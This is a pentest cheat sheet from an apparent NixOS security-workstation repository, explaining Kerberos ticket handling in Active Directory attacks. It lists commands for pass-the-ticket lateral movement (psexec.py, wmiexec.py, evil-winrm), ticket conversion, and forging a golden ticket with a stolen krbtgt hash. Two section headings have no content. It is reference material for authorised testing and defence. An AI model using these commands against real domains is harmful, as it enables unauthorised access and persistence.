repositories

NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor

clonegit clone https://git.daemon-sec.xyz/NixDaemon.git
kerberos.mdMarkdown63 lines4.2 KiBsource raw download

kerberos — tickets, tokens & the -k dance#

The auth mechanics behind the AD kill-chain: how tickets are requested, stored and replayed. Roasting, DCSync and ADCS live in cheat ad — this card is the plumbing underneath them (ccache handling, -k flows, delegation, forged tickets). Most tools read the DC from $TARGET and the ticket from $KRB5CCNAME.

How it flows (why -k works)#

kinit / getTGT ──▶ TGT (krbtgt)      "who you are"      → saved to a .ccache
     └── getST / auto ─▶ TGS (service) "what you can use" → for cifs/http/… SPN
KRB5CCNAME points at the .ccache; every tool with -k -no-pass reads it.

Get a ticket#

Use the ticket — pass-the-ticket#

export KRB5CCNAME=<ticket.ccache>            # the cache -k reads
psexec.py  -k -no-pass <t>                   wmiexec.py -k -no-pass <t>
netexec smb <t> -k --use-kcache             evil-winrm -i <t> -r <domain>   # -r = realm

Ticket file conversions#

Have Want Command
.kirbi (Rubeus/Windows) .ccache (impacket) ticketConverter.py in.kirbi out.ccache
.ccache .kirbi ticketConverter.py in.ccache out.kirbi
base64 blob file base64 -d <<<'…' > t.kirbi

S4U — delegation abuse#

Turn a delegation edge (BloodHound flags it) into a ticket as any user:

Forge a ticket (post-DCSync)#

Needs a secret you already stole — this is persistence, not a foothold.

ticketer.py -nthash <krbtgt-NT> -domain-sid <S-1-5-21-…> -domain <dom> administrator
export KRB5CCNAME=administrator.ccache && psexec.py -k -no-pass <dc>

When Kerberos "randomly" breaks#

Symptom Cause → fix
KRB_AP_ERR_SKEW clock drift → ntpdate <dc> (or faketime, or sudo rdate -n <dc>)
KDC_ERR_S_PRINCIPAL_UNKNOWN connected by IP / wrong SPN → use the hostname, add to /etc/hosts
KDC_ERR_PREAUTH_FAILED bad password/hash, or account needs pre-auth
tool ignores your creds -k set but $KRB5CCNAME empty/stale → echo $KRB5CCNAME, re-export
KDC_ERR_ETYPE_NOSUPP RC4 disabled → request with -aesKey

Mental model: TGT = who you are, TGS = what you can touch, $KRB5CCNAME = which ticket is live. When -k misbehaves, echo $KRB5CCNAME and klist before anything else — 90% of "Kerberos is broken" is an empty cache or a skewed clock. Roasting & DCSync that produce these tickets: cheat ad. Replaying hashes without Kerberos at all: pth in cheat ad / cheat nxc.